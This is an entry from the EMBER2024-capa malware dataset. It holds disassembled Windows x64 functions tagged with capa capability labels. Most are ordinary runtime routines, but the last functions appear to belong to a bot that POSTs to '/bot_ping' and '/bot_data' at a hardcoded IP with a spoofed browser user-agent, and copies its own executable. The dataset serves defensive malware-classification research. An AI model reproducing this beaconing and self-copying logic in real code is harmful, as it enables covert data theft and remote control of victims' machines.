joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008520
Capabilities:
Read file on windows

Disassembly:
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12, rcx
mov rsi, r8
mov ecx, 0x2000
mov r14, rdx
xor r13d, r13d
call fcn.140014970
mov r15, rax
test rax, rax
je 0x140008633
xor edx, edx
mov r8d, 2
mov rcx, r12
call fcn.1400101f4
test eax, eax
js 0x140008633
mov rcx, r12
mov qword [rsp + 0x50], rbx
call fcn.140018a84
mov rbx, rax
cmp rax, rsi
jb 0x14000862e
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rdi
nop dword [rax + rax]
cmp rbx, 0x2000
lea rbp, [rbx - 0x2000]
cmovb rbp, r13
sub rbx, rbp
cmp rbx, rsi
jb 0x140008624
xor r8d, r8d
mov rdx, rbp
mov rcx, r12
call fcn.1400101f4
test eax, eax
js 0x140008624
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.14000febc
cmp rax, rbx
jne 0x140008624
sub rbx, rsi
add rbx, 1
je 0x14000860b
lea rdi, [r15 - 1]
add rdi, rbx
nop dword [rax]
nop dword [rax + rax]
mov r8, rsi
mov rdx, r14
mov rcx, rdi
call fcn.14002ab10
test eax, eax
je 0x14000861d
dec rdi
sub rbx, 1
jne 0x1400085f0
lea rbx, [rsi - 1]
add rbx, rbp
test rbp, rbp
jne 0x140008590
jmp 0x140008624
lea r13, [rbp - 1]
add r13, rbx
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov rcx, r15
call fcn.14001495c
mov rax, r13
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rsi
ret

Function at 0x140008de0
Capabilities:
Create directory

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140040fc0]
test rax, rax
jne 0x140008e06
lea rcx, str.Security_descriptor_is_not_initialized__n
call fcn.140002c50
mov eax, 0xffffffff
add rsp, 0x48
ret
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x18
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
neg eax
sbb eax, eax
neg eax
dec eax
add rsp, 0x48
ret
Function at 0x14000cb08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000cb52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000cb52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000cb52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000cb52
cmp dword [rcx + 0x84], 0xe
jbe 0x14000cb52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000cb54
xor al, al
add rsp, 0x28
ret

Function at 0x1400156bc
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x140033820]
mov rbp, rcx
call fcn.14001f3f0
xor edi, edi
test rax, rax
je 0x1400157a2
mov ebx, edi
call fcn.140014ea4
mov r14d, dword [rax]
call fcn.140014ea4
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.1400173d0
mov rsi, rax
test rax, rax
je 0x140015733
call fcn.140014ea4
mov dword [rax], r14d
jmp 0x14001575d
call fcn.140014ea4
cmp dword [rax], 0x22
jne 0x14001579a
call fcn.140014ea4
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.1400173d0
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x14001579a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140015761
cmp rax, 3
je 0x14001577c
mov rcx, rsi
call fcn.140015618
test al, al
je 0x14001578d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x14001578d
mov dil, 1
mov rcx, rbx
call fcn.14001495c
mov al, dil
jmp 0x1400157a4
mov rcx, rbx
call fcn.14001495c
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000c0d0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140017838
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140017858
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140014e18
or eax, 0xffffffff
jmp 0x14001785a
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400180bc
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400180dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140014e18
or eax, 0xffffffff
jmp 0x1400180de
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400188a8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000c070
sub rsp, rax
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14001a424
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400188f7
mov rax, rbp
jmp 0x1400189ff
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x41a00]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14001c21c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x41a00]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400189fb
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400189fb
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14001c21c
test rax, rax
js 0x1400189fb
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400189fb
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400189ed
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400189ed
cmp byte [rcx], 0xd
jne 0x1400189d3
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400189e2
cmp byte [rcx + 1], 0xa
jne 0x1400189e2
inc rcx
jmp 0x1400189e2
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x3f360]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400189b5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400189ff
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14000c0d0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14001990c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001997b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001997b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001997b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001997b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001997b
cmp dword [rcx + 0x84], 0xe
jbe 0x14001997b
cmp dword [rcx + 0xf8], 0
je 0x14001997b
mov ecx, ebx
call fcn.140019a2c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140019808
nop
cmp dword [rbp + 0x20], 0
je 0x1400199c9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400199d4
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001990c
Function at 0x140019b10
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001990c

Function at 0x14001b454
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140041a00]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001b4ab
cmp word [rdx], r13w
jne 0x14001b4ab
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001b4b0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14001b5d5
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14001b5f6
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14001b4e9
mov rdx, r9
mov word [rbx], cx
jmp 0x14001b510
cmp r9, r8
jae 0x14001b520
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001b4ca
jmp 0x14001b5d5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001b5ca
cmp dword [rsp + 0x80], esi
je 0x14001b5ca
lea r8, [0x140041a00]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001b5a2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001b572
mov word [rbx], r13w
jmp 0x14001b5d2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001b57f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001b5d2
cmp word [rsp + 0x70], r13w
jne 0x14001b5af
cmp rbx, r14
je 0x14001b56c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14001c224
cmp word [rsp + 0x70], r13w
je 0x14001b5d5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140041a00]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001b5cf
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14001b5d5
Function at 0x14001d300
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001d316
mov al, 1
jmp 0x14001d376
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001d327
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001d374
mov ecx, dword [rcx + 0x18]
nop
call fcn.140018044
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001d374
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001d374
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001d374
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001d376
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140020784
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400207ce
call fcn.140014e84
mov dword [rax], 0xf
call fcn.140014ea4
mov dword [rax], 0xd
call fcn.14001a888
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14000c0d0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400207d9
lea eax, [rbx + 1]
jmp 0x1400207bb
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400207b9
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400207bb
Function at 0x14002296c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002299c
xor eax, eax
jmp 0x140022a5f
mov rbp, rbx
cmp word [rax], si
je 0x1400229c1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400229a8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400229a4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140020830
movsxd r14, eax
test eax, eax
jne 0x1400229ff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140022995
mov rcx, r14
call fcn.14001d59c
mov rdi, rax
test rax, rax
jne 0x140022a18
xor ecx, ecx
call fcn.14001a8f0
jmp 0x1400229f4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140020830
test eax, eax
jne 0x140022a49
mov rcx, rdi
call fcn.14001a8f0
jmp 0x140022a53
xor ecx, ecx
call fcn.14001a8f0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140022a7c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140022b03
mov rsi, rbx
cmp word [rax], bp
je 0x140022ac2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140022aac
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140022aa8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001d59c
mov rdi, rax
test rax, rax
je 0x140022af0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14002a0d0
mov rbp, rdi
xor ecx, ecx
call fcn.14001a8f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400274e4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140014978
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002756e
cmp byte [rbp - 0x21], r15b
je 0x140027569
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400275a4
call fcn.14001edc4
test eax, eax
jne 0x140027590
cmp byte [rbp - 0x21], r15b
je 0x140027588
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400275a4
cmp byte [rbp - 0x21], r15b
je 0x1400275a1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140014f64
test eax, eax
jne 0x140027644
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140014978
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400275e3
cmp byte [rbp - 0x21], r15b
je 0x140027618
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140027618
call fcn.14001edc4
test eax, eax
jne 0x140027604
cmp byte [rbp - 0x21], r15b
je 0x1400275fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140027618
cmp byte [rbp - 0x21], r15b
je 0x140027615
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140014f64
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140027644
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140027647
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140027655
mov rcx, rdi
call fcn.14001a8f0
cmp byte [rbp + 0x3f], r15b
je 0x140027664
mov rcx, qword [rbp + 0x27]
call fcn.14001a8f0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140028c1c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c224
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c224
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028d6c
cmp rax, 0xffffffffffffffff
je 0x140028d6c
xor edi, edi
test rbp, rbp
jle 0x140028d17
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001eb38
mov rbx, rax
test rax, rax
jne 0x140028ca4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028d0d
mov edx, 0x8000
mov ecx, r14d
call fcn.140019b8c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cf00
cmp eax, 0xffffffff
je 0x140028ced
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028cb4
mov edx, r15d
mov ecx, r14d
call fcn.140019b8c
jmp 0x140028d0d
cmp byte [rsi + 0x38], dil
je 0x140028d04
cmp dword [rsi + 0x34], 5
jne 0x140028d04
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028d0d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a8f0
jmp 0x140028d80
jns 0x140028d80
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c224
cmp rax, 0xffffffffffffffff
jne 0x140028d38
cmp byte [rsi + 0x30], dil
je 0x140028d80
mov edi, dword [rsi + 0x2c]
jmp 0x140028d80
mov ecx, r14d
call fcn.140018044
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028d80
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028d80
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028d79
mov eax, dword [rsi + 0x2c]
jmp 0x140028d7e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c224
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029e70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029e98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029e98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov eax, dword [rcx]
xorps xmm0, xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x40], eax
mov eax, dword [rcx + 8]
movups xmm0, xmmword [rdx]
mov dword [rbp - 0x38], eax
mov eax, dword [rcx + 0xc]
xor ecx, ecx
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x34], eax
mov eax, 0x811c9dc5
movups xmm0, xmmword [r8]
mov dword [rbp - 0x3c], 0xdeadbeef
movups xmmword [rbp - 0x20], xmm1
movdqu xmmword [rbp - 0x1c], xmm0
xor eax, dword [rbp + rcx*4 - 0x40]
inc rcx
imul eax, eax, 0x1000193
cmp rcx, 0xd
jb 0x140001047
add rsp, 0x40
pop rbp
ret

Function at 0x1400010d8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov ebp, ecx
mov ecx, ebp
call fcn.1400019dc
mov rbx, rax
cmp byte [rax], 0
jne 0x140001167
cmp byte [rax + 1], 0xc8
jbe 0x140001167
and qword [rsp + 0x30], 0
lea rcx, str.example.txt
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov dword [rsp + 0x20], 3
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001217
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 0x2a
lea rdx, str._Appending_more_data.
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
test eax, eax
je 0x1400011ff
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [rbx], 0xc8
jb 0x1400011e8
movzx eax, byte [rbx]
cmp eax, 0x12c
jae 0x1400011e8
cmp byte [rbx], 0xc8
jne 0x1400011e8
movzx edx, byte [rbx + 1]
mov rcx, qword [rbx + 8]
call fcn.140001f08
mov rcx, qword [rbx + 8]
mov rdi, rax
test rcx, rcx
je 0x140001199
call fcn.1400035e0
lea r8, [rsp + 0x78]
mov rcx, rdi
lea rdx, [rsp + 0x70]
call fcn.140001494
mov rcx, qword [rdi + 0x10]
mov esi, eax
test rcx, rcx
je 0x1400011bb
call fcn.1400035e0
test esi, esi
je 0x140001207
mov r8, qword [rsp + 0x78]
test r8, r8
je 0x1400011e0
mov rdx, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140001a84
mov rcx, qword [rsp + 0x70]
call fcn.1400035e0
mov rcx, rdi
call fcn.1400035e0
mov rcx, rbx
call fcn.1400035e0
mov ecx, 0x3e8
call fcn.14000352c
jmp 0x1400010e6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001217
mov rcx, rdi
call fcn.1400035e0
mov rcx, rbx
call fcn.1400035e0
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001e68
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rax, str.192.168.68.120
mov rdi, rdx
mov rbx, r8
xor edx, edx
mov qword [rcx + 0xc], rdx
test r9d, r9d
mov dword [rcx + 0x14], edx
mov dword [rcx + 0x1c], edx
mov qword [rcx], rax
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:126.0__Gecko_20100101_Firefox_126.0
mov qword [rcx + 0x20], rax
lea rax, str.POST
mov qword [rcx + 0x28], rax
lea rax, str._bot_ping
mov dword [rcx + 8], 0x1394
lea rcx, str._bot_data
cmovne rax, rcx
mov dword [rsi + 0x18], ebx
mov qword [rsi + 0x30], rax
mov rcx, r8
lea rax, str.Content_Type:_application_octet_stream_r_nConnection:_Close_r_n
mov qword [rsi + 0x38], rax
call fcn.140003660
mov r8, rbx
mov qword [rsi + 0x10], rax
mov rdx, rdi
mov rcx, rax
call fcn.140002948
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140002030
Capabilities:
Copy file

Disassembly:
push rbx
sub rsp, 0x440
mov rbx, rcx
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x104
call fcn.1400031c8
test eax, eax
je 0x14000208c
lea rcx, [rsp + 0x20]
call fcn.140003a84
mov r8, rax
lea rcx, [rsp + 0x230]
mov rdx, rbx
call fcn.140003a20
xor r8d, r8d
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne al
jmp 0x14000208e
xor al, al
add rsp, 0x440
pop rbx
ret